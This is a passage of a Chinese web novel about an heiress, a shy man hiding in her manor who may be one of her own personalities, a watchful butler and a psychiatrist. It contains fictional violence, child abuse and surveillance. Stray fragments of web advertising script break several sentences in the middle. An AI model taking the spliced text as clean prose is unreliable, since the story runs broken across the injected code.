这个女人显然是误会大了,以为他是为了钱故意爬上她的床想做点儿什么,可实际情况是,他只是好好的睡在客房里,结果一睁眼人就在这儿了。 但他转念一想,既然他会出现在这不是因为这个女人做了什么手脚,那就只剩别的原因,他心头一紧:难不成我真的梦游了? 这还是二十三年以来,他第一次发现自己有这么个毛病。 程叶子一边在心里庆幸还好即使是梦游,他也什么也没做,一边摇摇头,理直气壮地说:“我才不要你的钱。” 陈非轻声笑道:“那也没关系,别的我也可以给你。” 说着话,她就作势要脱睡袍,吓得程叶子冲上来,手忙脚乱替她打了个结,然后死死抓着腰带说:“请、请请请你自重!” 陈非突然哈哈大笑起来,笑得前仰后翻,差点把程叶子也给掀翻了。 程叶子咬着牙,死抓不放,沉默地看着她,满脸无奈。 陈非笑得上气不接下气,忽然问道:“你是不是没谈过恋爱?” 程叶子不知道该不该承认。 承认吧,好像有点正合她意的感觉,不承认吧,他又确实是没谈过,这种会被人一眼看穿的谎,他觉得没必要撒。 于是继续沉默。 陈非:“这么纯情?” 程叶子:“……”静了两秒,果断转身离开。 陈非:“哎,你回来。” 程叶子没回来,一路飞奔回到了客房,蒙上被子一觉睡到了大天亮。 次日清晨,陈非到客房找他,她故意没敲门,因为过来之前她已经在监控里看到他还在睡觉。 她心情好,不想吵他。 就想看看他睡觉的样子是不是也跟小绵羊一样可爱。 而她心情好的主要原因,是因为程叶子昨晚主动过来找她,虽然他嘴上没承认,但监控里什么都录下来了。 她看的清清楚楚。 心里更加确定这个男人突然出现在她面前就是带着目的来的。 有目的才好,要真是什么目的都没有,她反倒什么都不敢信了。 程叶子出现的时机很巧妙,恰好是她打算放弃的最后一刻,说是缘分也好,别有心思也好,再结合他说的那些,她很确定这个男人就是冲着她来的,而她除了钱,就剩这副皮囊了。 毕竟也是快三十的人了,陈非可不会那么天真的认为,一个男人会在皮囊和金钱之间选择前者。 这样一想,她忽然轻松多了,因为他图的,她恰好多得是。 客房的门锁跟她的卧房一样,用的都是生物识别系统,门把会自动识别她的指纹,就算从里面反锁了她也一样可以打开,这里的所有房间都是如此,因为她的生物数据在系统里拥有最高级别的权限。 眼看陈非进了房间,远处花园里的人才从高高的蔷薇枝蔓后走出来,那是李明书。 他在那里站了有一阵了,只是站着,什么也没做。 他想了想,隐约觉得是从昨天开始的。 是从昨天开始,陈非就有意无意的表现出庄园里有另一个人的存在。 那绝不是佣人,也不是任何一个真实存在的人……那是她身体里的另一个小叶子。 这种情况并非第一次出现,所以他此时此刻才能这么淡定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地站在这里,远远看着他的小叶子上演他无法加入的默剧。 这次又会持续多久呢? 他不知道。 良久,李明书摸出手机,拨了个电话。 片刻后,他语气平淡地开口:“陆医生,是我。” *** 房间里,陈非趁着程叶子在睡觉,偷偷钻进了他的被窝。 她还没来得及笑,脸上的表情突然定住,像是意识到了什么。 程叶子就躺在她眼前,按理说,这样的距离她甚至可以轻易感受到他的体温。 但奇怪的是,被窝里面很冷。 就好像这里从来没人躺过。 这不太对,除非睡在她眼前的程叶子已经死了,身体本就凉透了,那倒是有可能。 可程叶子还活着。 她伸出手,摸到了鲜活的心跳,砰砰砰的,强有力的心跳。 “啊——!” 一声慌乱的叫喊从程叶子嘴里迸发而出,紧接着,一个裹着被子的人手忙脚乱地滚到了地毯上。 “你你你……”程叶子结结巴巴,说不出话。 这是老毛病了,一紧张就说不出话,从小就这样。 特别是这种时候,这种虽然慌乱却又夹杂着那么一点儿暧昧的时刻。 陈非都快习惯他这一惊一乍的状态了,撑起身,坐在床头,抬手拍拍身旁他刚刚躺过的位置:“过来。” 程叶子裹着被子,松软的被子裹住了他整个人,只单单露出一颗脑袋,以及泛红的脸。 陈非点点头:“行,不过来是吧?” 说着,摸出了手机,按下三个数字,随即拿起来冲他晃了晃。 程叶子顿时跟扔进油锅的蚂蚱似的原地弹射,蹦到了床上,一把抢过手机,挂断了电话。 似乎仅仅只是挂断电话还不能让他松一口气,他一边抬头瞥陈非,一边手指迅速戳动,把手机关机之后又把手缩进了被子里,这才罢休。 “你不要开这种玩笑。”他表情严肃地说。 陈非:“谁说我开玩笑了?” 她伸手就要去拿关了机的手机,指尖刚要碰到,便被一只白净细长的大手先一步捞了去。 “我不是已经上来了吗!”程叶子慌忙大喊。 陈非收回手,看他跟小仓鼠似的,紧紧抱着自己的“瓜子”。 她的目光忽然落在程叶子的额头,那里翘着一根呆毛。 程叶子嘴巴一张一合在说话:“我说过了,不能让第三个人知道我在这儿,你不是说相信我吗!” 陈非一句没听清,慢慢凑近。 等程叶子回过神来时,薄荷香气已是近在咫尺,他的视线不自觉看向她晶莹红润的薄唇,此时他才发现,这个女人的唇角有小小的,天然的弧角,即便用认真的表情看着他,也透着一股戏谑。 由于距离太近,程叶子不自然的放轻了声音问道:“你又想干嘛?” 陈非伸出食指,指腹轻轻点了点下唇,挑眉道:“你亲我一下。” 程叶子眉头紧皱:“我为什么要……亲你一下?” 陈非放下手指,一眨不眨地盯着他:“亲不亲?” 程叶子摇头,心里骂她有病。 陈非突然伸出两手,捧住缩在被子里的一颗脑袋,偏头吻了上去。 程叶子睁大了眼睛:“唔。” 5. chapter 05 “你!你你你……”程叶子半天没你出来,指着陈非的手指微微发颤,像是吓得不轻。 被偷袭这种事,他已经不是第一次了。 仅有的两次,还都是陈非干的。 此时,陈非坐在床上,似笑非笑地看着他,眼神里透出的玩味都快溢出来了。 太不把人当人看了!程叶子想。 温热柔软的触感似乎还停留在嘴唇上,陈非一颗心狂跳,久违的感觉到了一股兴奋,起初她没反应过来,但现在她知道了,她好像心动了。 她都二十八岁了,这种事当然不止做过一次,偏偏只有这一次,她真的感觉到了心动。 她很想伸出手指碰一碰,感受一下唇间尚未褪去的余温,但程叶子生闷气的样子更吸引她,一时间她盯着人看,盯得忘了神。 直到程叶子突然动作一顿,也不吭声了,直勾勾地盯着她,她才终于回过神来:“我什么?” 话音刚落,程叶子便扑了上来,柔软贴近,还未褪去的余温再度升温,陈非没来得及反应,被扑倒在床上。 她思维发散前的最后一幕,是程叶子表情严肃的睁着眼睛用力吻她,他的吻少了缠绵,多了几分霸道。 程叶子显然没多少经验,照着柔软的唇瓣辗转碾压,莫名的,陈非觉得他似乎是在用这种方式表达自己的怒气。 陈非很受用。 然而没等持续几秒,程叶子便猛地退开,认真地说:“这样才公平。” 陈非忍不住笑了。 房间的窗帘是关上的,为了不打扰程叶子睡觉,陈非刚刚只打开了床头的一盏小灯。 小灯光源柔和,带着一点橙黄,此时此刻,就映照在程叶子脸上。 他的眼睫浓密纤长,在脸上投下一道浅浅的阴影,忽闪忽闪的。 不得不说,作为一名成年男性,程叶子真的有种三百六十五度绝对完美的气质,这很难得。 也难怪这么吸引她。 陈非用手背碰了碰嘴唇,眉头微微蹙起:她得走了。 而她这么一副表情被程叶子看在眼里,却误以为她也生气了,瞬间想到,她再怎么无赖,毕竟也是个女生,他刚刚那么做,确实有点不太…… “你说的对。”陈非忽然开口。 程叶子思绪一断:? 陈非一边下床一边低声说道:“那下一次公平是什么时候,今天晚上?” 程叶子收回刚才的内疚。 陈非随即一笑,又说:“好了不逗你了,我得出去吃早饭了。哦对了,提醒你一下,住在这里的除了我们,还有一个人,你注意不要被他发现了。” 程叶子问:“谁啊?” 陈非倒退着往门口走:“负责打理这里的管家,他叫李明书,不过就算被发现了也没事……” 以前陈非也带过人回家,每次要不了一周人就跑了,最长的也就待了半个月,明面上好像是那些人自己待不住跑掉的,可实际上,陈非知道,那些人多半都是李明书想方设法弄走的。 李明书恨她,不想叫她好过,当然也不想看她这么快乐,她全都知道。 于是她就在程叶子疑惑的目光中,说完了最后的话:“……反正最后,我说了才算。” *** 一张长方餐桌上摆满了各种各样的早餐,乍一看,好像把五湖四海的特色都端上来了。 陈非坐在桌子最前方一动不动,只是看着旋转传送带上的食物缓缓经过身前。 李明书今天换回了平时最常穿的黑色西装,笔直地站在桌旁:“这些不合小姐胃口?” 陈非瞥了他一眼,却没开口。 李明书对这样的目光习以为常:“那我马上让厨房重新做。” 他刚要走,陈非便拿起一个烘焙松软的面包塞进嘴里,闷声说:“不用。” 李明书转身,唇角浮现一抹淡淡笑意。 陈非不喜欢看这种笑容,准确来说,她就是讨厌李明书这个人身上的一切,所以即便是看上去温柔的笑意,她也觉得很假。 很碍眼。 像是吃饭这种事,她一向不喜欢有人在旁边,但不论怎么说,李明书都会在每日三餐的时间,站在一旁,像个佣人一样小心伺候着。 她更不喜欢。 没一会儿,她就啃完了面包,目不斜视地说:“我吃完了,你可以走了。” 李明书点头:“好。” 说完“好”,他却没有半点要走的意思。 陈非这次正眼瞧他了,那眼神意思很明显:你还杵这儿干嘛? 李明书笑着回答:“今天还继续找人吗?” 陈非一摆手:“不找了。” 她已经找到了。 李明书不动声色,又问:“为什么突然不找了?” 陈非差点说漏,张嘴的那一刻立马反应过来:“我有必要解答你的疑问吗?别忘了自己的身份。” 李明书没再说话,转身走出门外。 门外是洁白的环廊,再往外就是玻璃天井,这一处的景观是一棵树,树很大,底下的树根盘踞一方,鲜绿的草覆盖了所有间隙,树干枝桠一路向上延展到玻璃天花板,颇有长到外面的架势。 别人不知道,但李明书知道,这棵树曾经死过两次,他救回来之后特地找人来看过,那是专门研究种树的专家,说是这棵树早就失了元气,伤了树根,再怎么好好养护,以后也不会长大了。 现在树长大了,已经快要长出天井了。 李明书轻笑一声,心里对那些所谓的专家更是鄙夷。 这世上哪儿有什么命中注定,不过都是事在人为罢了。 李明书穿过环廊,来到前面的会客厅,一个穿着白大褂的年轻男人坐在不远处的沙发上,那是陆宁。 “陆医生,不好意思,让你久等了。”李明书客气地说着,加快步子走到了陆宁面前。 沙发边上造型特别的玻璃茶几放着喝光的茶杯,陆宁见人来了,缓缓起身:“没事,我也刚到没多久。” 陆宁不矮,一米八标准身高,但站在李明书面前,还是略显娇小了点儿,主要原因还是他平时不爱锻炼。 说实话,他不喜欢来这,倒不是因为私人别墅区太远,而是因为眼前这位,嘴上说着不好意思,但看起来却一点没有抱歉的家属。 李明书,他曾介绍过自己的名字,但陆宁还是喜欢用家属称呼,这大概算是一种职业习惯。 “你在电话里说……患者病情复发了,具体情况如何,这次有自残倾向吗?” 陆宁还是不习惯叫人“小姐”,每次这么叫,就会有种莫名的感觉,好像他不是生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 活在现代,而是在古代。 怪得很。 不过这是人家的自由,再说他还见过更多比这更怪的称呼。 李明书站在原地上下打量他,却是迟迟没开口。 陆宁面露疑惑,顺着他的视线看向自己,随即抬头:“怎么了?” 李明书微微一笑:“抱歉,要先麻烦陆医生换身衣服了,你就这么进去的话,保不齐会被赶出来。” 陆宁眉头轻蹙。 这种要求对他来说不算什么,他曾见过很多患者都是这样,对医生抱有极大的抵触情绪,严重的甚至会在看到白大褂一类的衣服时,突然情绪崩溃,那对治疗没什么帮助,所以他一般都会尽量配合家属,努力拉近和患者之间的关系。 不过这陈家他去年来过几次,每次都是先跟李明书见一面,从他口中了解一下患者的情况,之后他便会被带到一个房间里,那里有一面巨大的荧幕,他可以透过这面荧幕观察患者的日常生活。 他在以往的治疗中一般都会选择跟患者面对面谈话,在一次次谈话中逐渐拉近距离,心理治疗跟外科治疗不同,如果不能直接见到患者,仅凭这样的方式观察,还是难以对患者有一个系统的了解,无法全面了解的患者,形象总是单薄的,自然……也无法探究真实的内心。 但家属坚持以这种方式进行治疗,陆宁只好以不会面的方式,尽力去了解。 不过这样的治疗持续了没多久,家属就叫停了。 陆宁是心理医生,没有权利强行要求继续治疗,只好作罢,但他全然没想到时隔一年,他又接到了家属打来的电话。 十分钟后,穿着玩偶服的陆宁站在了花园里。 李明书说:“我听说玩偶可以让人更容易放下防备,是这样的吗?陆医生。” 确实,如果是患者喜好的玩偶,效果可能更好一些。 穿着玩偶服的陆宁点了头。 陆宁跟着李明书七绕八拐来到庄园另一边,这里不同于前面的建筑那么壮观,这里更像一处寂静幽深的世外桃源,不会轻易受到世俗打扰的那种。 玩偶服很笨重,陆宁跟在李明书身后走得踉踉跄跄,里头闷热,没一会儿他汗就下来了,扣到锁骨的衬衫被汗水浸润,狭窄空间里,很快变得潮湿。 他发现这不是去那个房间的路线,于是停住脚步,环顾四周,视线落在了不远处的蔷薇藤蔓上。 陆宁心里忽然生出一种感觉,这种感觉来得突然,让他背后生寒。 他觉得这里虽然美,但是太过寂静了,有那么一刻他感觉这里比深山里的疗养院,还要冷清。 李明书说:“快到了。” 陆宁收回目光,继续前行。 经过环廊拐角处时,陆宁被一道人影撞了个满怀,他没能看清来人是谁,但还是条件反射地伸出手接住了对方。 同一时间,李明书也伸出手:“小姐小心。” 小姐? 陆宁一愣。 怀里的人松柔的长卷发凌乱披散,被她随手往后一拢,明艳的五官近在眼前。 陆宁垂眸,目光透过玩偶服头套上的小孔望出去,望进怀里女人的眼睛。 他还是第一次,这么近距离地看一个人的眼睛。 他看见她在笑。 他第一次见她笑。 6. chapter 06 屋里,程叶子在小本本上涂涂写写。 这是他的习惯,在思考的时候动笔,这样一来,他就可以清楚看到自己想了些什么,他思考时很专注,丝毫没发现陈非已经走到了他身后。 “嘿!”陈非突然拍了一下他的肩:“你干嘛呢?” 程叶子被吓了一跳,蹭的一下站起身,手里的纸笔掉落在地,被陈非一眼瞧见。 他还没来得及去捡,陈非便先一步捡起了地上的本子。 “原来你在画画啊。” 本子里的画面杂乱无章,几乎等同于一团黑,陈非很想问这写的是什么鬼,但她多看几眼又觉得这更像是一幅画。 没错。 如果这是一幅画,那就说得过去了。 不知为何,她觉得这幅画有点眼熟,好像很久以前在什么地方见过。 程叶子松了口气,没做解释,抬头看她:“你又来干什么?” 陈非理直气壮:“这是我家,我到处逛逛怎么了?” 程叶子立马反驳:“但这里现在是我的房间。” 陈非:“……” 那倒是说的没错。 陈非没话找话:“你……你这画的是什么?” 黑黢黢的一大团,黑色的线条那么凌乱,她看过那么多画,还从来没看过这样一幅,完全找不出其中深意的画面。 第一感觉,是乱。 脑子乱,心也乱,所以笔下的画面也透着一个乱字。 陈非忽然想起以前读书时候,曾经做过的一个心理测试,那个老师什么也没提示,就只是让她在一张白纸上画一幅画,至于画什么,全凭自己当下的心情。 那时候她因为什么事情心情很差,所以最后呈现出来的画面,就是一团不知所云的黑色线团。 她这才恍然,刚才为什么会觉得熟悉。 程叶子说:“没什么。” 陈非伸手按在他肩上:“小叶子。” 表情严肃。 程叶子暗道不好。 “你又要干嘛?” 陈非认真地说:“本子,我没收了。” “哈?” 没等程叶子反应过来,陈非便把本子塞进了胸口,她穿的睡袍有腰带,本子这么丢进去就直接被兜住了。 程叶子伸手就想拿回来,但手指就要碰到的一瞬间他却忽然顿住了。 那种位置,他要怎么拿啊…… 陈非左右摇晃几下脑袋,浑身上下都透着得意,程叶子见此,心下一横,直接伸手扯松了她的腰带,陈非一愣,条件反射似的捂住腰带,一边后退,一边惊道:“好啊你!没想到你胆子原来这么大啊。” 程叶子乘胜追击:“你还给我!” 陈非侧身一闪,程叶子追了个踉跄。 陈非手脚麻利系好腰带,转身就跑,她倒要看看这小本子里到底有什么秘密,让他突然这么激动。 她跑得很匆忙,一边跑一边回头,看到程叶子追在身后那副着急得快哭了的样子,她就觉得好笑,最后在经过一个拐角时,撞上了一面“墙”。 准确来说,是一个大型玩偶。 陈非随手拢了一下头发,视线越过面前的玩偶看向李明书:“谁啊?” 李明书不经意地瞥了一眼拐角处的另一头,语气平淡的回答:“一个朋友。” 陈非冷笑一声:“你还有朋友?” 李明书浅浅一笑:“有啊。” 玩偶服里的陆宁轻轻皱起眉头,喷涌的热气凝结成水,让狭窄的空间更加潮湿了些,他可以清楚感觉到额头的汗珠不断滚落,慢慢浸湿了洁白的衣领。 李明书说的话,他听得很清楚,他想,既然都说是朋友了,那么见一面也无妨吧? 陆宁抬起笨重的头套,垂下手时,顺势将头套靠在了腰上,他终于可以清楚的看见患者的脸,他们的距离近到……他甚至可以分辨出患者眼眸的颜色。 灰棕色。 阳光映进去的时候,才会多一层暖色。 也是这时候,陈非眼眸一动,对上他的视线。 陆宁额前的碎发有些凌乱,由于闷热出汗,一向白净的皮肤微微泛红,汗水为他打上了一层亮晶晶的光泽。 陈非想。 帅哥。 这绝对是个帅哥。 陈非唇角微微勾起,心说这李明书身边什么时候有了这么一个帅哥朋友,她竟然才发现。 李明书当然不会告诉她,陆宁是他请来的医生。 他很清楚那样会有什么后果。 “你好,我叫陆宁。”说完,他伸出右手手掌。 “陈非。”她只是点了一下头,眼皮往下,目光扫过他悬在半空的手,随即抬眼,那意思很明显:她拒绝握手。 陈非猛地想起刚才的追逐,回过头去,连个人影都没看到,她想着程叶子应该是看到两个陌生人在这,所以躲起来了。 她没注意到身后两人对视一眼,李明书目光冷峻地点头。 陆宁余光注意到地上有东西,低头一看,发现是一个翻开的小本,画面正好就是程叶子刚才画的那一页。 陆宁一看就明白过来,患者的病情确实有复发的迹象。 “这是你掉的吗?”陆宁说。 陈非回头,垂眸一看,慌忙捡了起来,担心程叶子的存在被李明书察觉,立刻说要回房间了。 陆宁叫住她:“我最近在准备一个画展,不知道陈小姐有没有空,可以过来参观一下?” “画展?”陈非挑眉:“你还会画画?” 陆宁微笑:“会一点,但我主要做的是评鉴。” 陈非心想正好,正准备拿出本子打算让他给评鉴评鉴,但一看旁边的李明书似笑非笑的狐狸样,她就立刻警惕起来:“那你留个电话,等我什么时候有空了就去找你。” 陆宁:“好。” 李明书站在陆宁身旁,余光正好可以看见他一开始存备注存的“患者”,下一秒又突然删掉,改成了“陈非”。 与此同时,程叶子躲在床底下瑟瑟发抖。 他刚才追着陈非一路疯跑,快要跑到拐角处时,他看到陈非好像摔倒了,心中一喜,结果走上前来看到的却是那个男人。 那个躲在暗中,一直想要杀死他的怪物。 他其实没有真的见过怪物长什么样,因为每次快要看到对方长相时,就会出现各种各样的意外打断他,以至于他知道这人跟了自己很长时间,但却迟迟不知道这人是谁。 唯一知道的,就是怪物是个男人。 还有,每次发现被跟踪时,心脏就会开始扑通乱跳。 就跟条件反射似的。 他一见到管家身边的男人就觉得好像在哪见过,他见过的人不算多,留下印象的更是少之又少,所以他非常确定,那个男人就是他曾亲眼目睹杀人过程的凶手。 程叶子没想到这个杀人犯竟然可以跟到这种地方来,还装出那样一副文质彬彬的样子,果真是个心思缜密的人。 他一时间不知该怎么办,只好回到客房,躲进床底,半封闭的空间能帮他更好的思考对策。 房门那边忽然传来“滴”的一声,声音很轻,那是系统识别指纹后的开锁声。 有人进来了。 程叶子眼睛一眨不眨地看着远处一步步走来的人,那人脚下穿的是皮鞋,漆亮的黑色,他眼前一下闪过那个雷雨天看到的一幕。 雷声大作,一个男人高高举起手里的斧子砍了下去,喷洒的血液带着热气,溅在了男人整洁的皮鞋上。 那双皮鞋似乎就跟现在这人脚上穿的一模一样。 确定来人不是陈非,程叶子抖得更凶了,用力闭上眼睛,心跳声震耳欲聋。 救命。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>我还不想死。 谁来……救救我? “求求你了,放过我吧,我以后一定听你的话,绝对不乱跑。”带着哭腔的童声在程叶子耳边响起。 久远的记忆不受控制的涌了上来。 阴暗的房间里,浑身是血的小男孩跪在地上,痛哭流涕,一遍遍哀求面前的人:“我以后再也不会了,真的……” 那人上半身隐匿在阴影里,看不真切,下半身穿着西裤和皮鞋,小男孩话没说完,皮鞋便狠狠踹了过去,照着脸,重重发力,小男孩话音一顿,整个人撞在了墙上。 冰冷的水泥墙太过坚硬,小男孩跌落在地,将自己小小的身体蜷缩起来,一边止不住抽搐,一边等待即将到来的痛苦。 他似乎知道了求饶认错也没有用,只好沉默。 紧接着,皮鞋踹翻了旁边的桌椅,金属桌椅在地上擦过,发出尖锐刺耳的声响。 小男孩悲哀地捂住耳朵。 他想,他们一定都把我忘了。 没有人会来救我了,我不会再见到妈妈了。 我会死在这里,然后被老鼠吃掉,我的死,永远也不会被人知道。 想到这,他的眼泪掺杂着鲜红的血流淌下来。 那天的地板也跟现在一样冷,程叶子睁开眼睛,忽然不发抖了。 他翻了个身,仰面平躺在地板上,面前是黑压压的床底,耳边是一步步靠近的死亡。 程叶子扯出一抹苦涩的笑,缓缓合上双眼,心说老天还是没打算放过他。 就在这时,脚步声忽然停住了。 他先是听到了一阵急促的脚步声由近及远,接着又听到远处传来“哐当”一声,像是门板在墙壁重重撞击的声音,随之而来的是一连串熟悉的脚步声越来越近,最后停在床边。 良久,陈非的声音传来:“小叶子,你干嘛呢?” 程叶子没有睁眼,转过身去背对了她,像小时候一样蜷缩身体,自己抱住了自己。 陈非一头雾水,沉默片刻,也钻进了床底。 她侧躺在程叶子身后,一只手撑着脑袋,一只手拿着一样东西在他眼前晃悠:“喏,还你就是了,别生气了。” 程叶子睁眼,看到了自己平时带在身边的小本子。 不知为何,他忽然不难过了。 程叶子伸出手,快要碰到本子的时候,陈非迅速收回手,笑出了声:“逗你的,我才不还呢!” 程叶子翻身面对她,气冲冲去抢自己的本子:“你还我!” 陈非反手背到身后,“就不。” 程叶子急了,撑起身想从她身上翻过去,结果刚起身就撞到了头:“嘶——陈非!” 陈非憋着笑,把本子塞进他怀里:“哎还还还,还你。” 程叶子咬着牙,恶狠狠地揣起本子。 陈非笑了笑,想到刚才拍到的照片,有照片在手,本子在不在也没所谓了。 程叶子拿回了自己的东西,刚才的惊吓也渐渐平息,他想了想,还是决定告诉陈非。 听程叶子一五一十说完,陈非眉头都快拧出疙瘩了。 她又确认了一遍:“你确定是陆宁?” 程叶子刚才已经从她口中得知了那个男人的名字,于是郑重点头。 “这么说的话,那我刚才……” “刚才怎么了?”程叶子问。 陈非没往下说。 她刚才过来的时候,隐约看到了一个人影,那个人影过来的方向就是客房这边。 但她转念一想,要是让程叶子知道躲在她家也不安全,这人可能就不会再安心待下去了,说不定明天就要走。 陈非顿了顿,说:“没什么。” 又补了一句:“反正不会是陆宁就是了。” 她回来的时候特意锁了权限,能自由出入这里的人除了她,只有李明书一个。 7. chapter 07 深夜,庄园里所有人都睡下了。 唯独陈非没睡。 她有正事要办,所以故意等到现在。她要去查监控,看看白天进客房的,除了她到底还有谁。 电脑屏幕上画面很清楚,她可以自由放大缩小,看清楚每一处细节,不过她要找的是人不是蚂蚁,自然也发挥不了超高像素的作用。 画面左下角显示了今天的时间,她来回看了好几遍,反复确认除了她以外,确实没人进过客房,甚至连经过的人都没有,为了更加仔细的确认,她甚至花园里的监控都翻了一遍。 还真被她找出来一个人影。 那道人影站在蔷薇花后面,只露出了半个背影,即便只是半个背影,陈非还是一眼就认出来了。 那是李明书。 陈非过来的时候,李明书正靠在床头看书,书很厚,书页上是密密麻麻的英文,他的房间不算太大,但因为东西太少,所以显得十分空荡,于是门外传来的那一声“滴”就特别明显。 几乎是在声音响起的同一时间,李明书放下书,掀开被子下了床。 看到来人是陈非,他并不惊讶,好像早就知道她会在这个时间过来。 “小姐。”他淡淡叫了一声。 他还没来得及问,陈非便走上前来,张口就是:“李明书,你能不能不要整天像个变态一样偷窥我?” 李明书笑了笑:“小姐看到了。” 陈非瞪着他。 李明书耐着性子解释道:“我只是担心小姐的安全。” “我谢谢你!但是很抱歉,我不需要!”陈非的视线忽然落到远处的床头柜上,看到那本厚重的书,便是立刻皱起了眉头。 她忽然想起两年前,陈震海去世后,她想把这里卖掉,然后拿着钱去全球旅行,结果快要签合同的时候被人拦下,说是她没有权利卖掉这座庄园,因为所属权现在在李明书手上。 她从小就知道陈震海不怎么喜欢她,总是把她关在家里,不准出门,也不准交朋友,但她没想到陈震海那个老东西竟然把事情做的这么绝,宁可把大半家产分给外人,都不给她。 她深知寄人篱下的滋味不好过,加上她那一小半家产的使用权都在李明书那儿,索性什么也不带,打算就这么离开,结果临了到头李明书把分到的所有财产都转到了她名下,心甘情愿留下当一个管家,口口声声说要照顾她一辈子。 陈非都28的人了,要是事情都到了这份上还看不明白,她这些年就真是白活了。 她试过对李明书态度好一点,但再怎么好,也还是跨不过心里那道坎,那本日记里文字就像刻在她心上了,每次看到李明书那张脸就会不自觉想起来。 然后感叹一声,啊对了,这个人嘴上说想照顾我一辈子,心里想的却是希望我去死。 我啊,还是离他远一点吧。 陈非带着这么别扭的心态跟人同处一个屋檐下,一眨眼又是两年,但现在她是真的忍不了了。 她必须要把话说清楚! “李明书,你是不是喜欢我?” 李明书从小就聪明,学什么都特别快,只有一样,他怎么都学不会。 那就是,不喜欢陈非。 他花了十二年都没能办到,现在自然也没法否认,但是……陈非的眼睛里写得清清楚楚,她想听到的其实是否认。 可他不想否认。 所以只好沉默。 陈非看明白了,一时不知该说什么,心里只觉得他这副伪装的样子实在恶心。 “你说话啊!”她忽然拔高了声音,带着怒气,垂在身侧的两只手不自觉攥成了拳头。 李明书看着她,依旧沉默。 他站得笔直,因为体态很好,所以连带睡袍的褶皱也简单干净,他比陈非高出一个头,看她的时候,总是目光低垂,无意识的落在她唇上。 “我警告你,李明书,两年前是你自己非要留我的,是你说心甘情愿一辈子照顾我,是你自己选择了作践你自己,我给过你机会了,是你自己不要的!” “既然你要继续过以前的日子,那你就好好过吧,但请你别再拿我当孩子看,我要干什么是我的自由,你是我什么人啊?你凭什么管着我?你听清楚了,我,陈非,永远永远都不会喜欢你!” 陈非吼得有些气喘,胸口起起伏伏,像是刚刚跟人打了一场激烈的架,气还没顺过来。 李明书一如既往,还是那句话:“我知道。” 我知道你不会喜欢我。 可那又怎么样? 又是这样。 陈非想,今晚真不该来,反正结果都这样,每次都是这样,她跟这个人,永远也说不明白。 “算了。”她摇头,转身就走。 她走动的时候,睡袍的裙摆随之摇摆,李明书的视线不注意就被吸引过去,他看见底下露出来的那双小腿笔直修长,忍不住目送到看不见了才收回目光。 他走回床边,肩膀下垂,就这么坐了一会儿才转头,看向床头柜上的书。 书不知何时关上了,露出贴在封面上的那张黄色便利贴,那上面画了一片叶子。 他伸手掀开便利贴,露出下面的书名。 这是一本跟心理学有关的英文原籍书。 …… 次日一早,程叶子睁开眼睛,发现自己又躺在了陈非身边。 有了前车之鉴,这一次他已经没那么慌张了,轻手轻脚翻身下床,为了不吵醒正在睡觉的陈非,把拖鞋也拿在了手里,小心翼翼朝着门口走去。 “往哪儿跑啊?”身后传来陈非的声音。 她刚睡醒,声音里带了点慵懒的意味,听得程叶子浑身一颤,做贼心虚地站在原地没敢继续走了,于是头也不回地说:“说出来你可能不信,我、我醒过来就在这儿了。” “信,我怎么不信。”陈非说这话时,“信”字拖得很长。 程叶子觉得她可能是真没睡醒。 “你信就好,那我回去了啊。”程叶子说完就走,一步没敢停。 “出去玩吧,今天。”陈非说,“我想跟你出去玩。” 程叶子又是脚步一顿。 也许是担心程叶子不愿意去,陈非特地补了一句:“你不是一直想找出那个杀人犯吗?这么躲着他可能一辈子都不会出现,我是想说,可能我们多出去走动走动就能增加碰到他的概率。” 程叶子确实很想抓到那人,不过心里多少有点担忧,问道:“但是你带保镖的话会不会太明显了?” 他正准备说,不如让保镖换身打扮,然后躲在暗处保护他们,等碰到那人的时候再出来抓人,但话还没说出口,便听陈非说:“是有点明显,但是没事,我一个人保护你就够了!” “你?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程叶子很想相信这话,但很无奈,不可否认的是陈非确实身材很好,只不过身材好跟能打架是两回事。 “对啊,我。”陈非叉着腰站在原地,微微扬起下巴,“怎么着?你还不信?” 程叶子嘴巴没说不信,但表情说了。 下一秒,陈非直接原地起飞,展示了一个标准的回旋后踢,动作快到只剩残影,脚高高直直的,正对着程叶子的脸。 程叶子吓一跳,这下信了。 两人正式出门是下午一点半,陈非自己开车,以防万一,程叶子坐后座,遇到危险正好能趴下。 车开出去很远了,陈非看到后视镜里笔直的身影依旧站在原地。 那是李明书。 她嗤笑一声,心说又不是第一次单独出门,至于装出这么担心的样子吗? 她收回目光,猛地踩了一脚油门,逃离了这个偌大的庄园。 一小时后,程叶子拿着冰淇淋站在游乐园门口,有点郁闷。 陈非远远跑过来,手里拿着门票,到了程叶子身边,伸手就捞走了一支冰淇淋。 浅尝一口,她笑了笑:“小叶子,你怎么知道我喜欢吃香草口味的?” 程叶子另一只手拿着草莓口味的冰淇淋,手有点颤:你拿的是我喜欢的好吗? 转念一想,算了,不就一个冰淇淋而已,他就绅士一次好了。 他抬起头,看向不远处写着“宇宙战车”的游乐设施,叹气道:“你是不是忘了什么正事啊?” “啊?”陈非嘴角沾了点冰淇淋,睁大眼睛问,“什么正事?” 程叶子无奈摇头:“没什么。你想玩哪个?” 陈非笑出了一排白牙,指着宇宙战车说:“那个那个。” 程叶子又在心里叹了口气,真会选啊,正好选到他最怕的那个。 又想,现在吃喝住都是人家的,算了,就当舍命陪君子了。 陈非扯着程叶子过去排队,工作人员拦住了他们,要求食物吃完才能上去,陈非不怕冷,胡吃海塞几下就吃光了,程叶子吃得太快,被冻得太阳穴直抽抽。 今天正好是工作日,人不算太多,他们上了车还有很多空位都没坐满,陈非不怕死的选了最前面的位子,程叶子在心里骂街。 玩了过山车,又是跳楼机,接着海盗船,各种需要心理承受能力的项目都被他们玩了个遍。 一小时后,程叶子胃开始不舒服了,陈非终于放他休息会儿,他扶着电线杆休息时,她就在旁边小声数落:“怎么这么脆?这就不行了?唉,你休息好了吗?还没好?” “唉,你休息好了……好好行行不说了不说了,你快点。” 程叶子瞪了她一眼,然后捂着胸口干呕了两下。 余光中瞥见一个造型独特的城堡,心想那东西应该不需要什么体力吧? 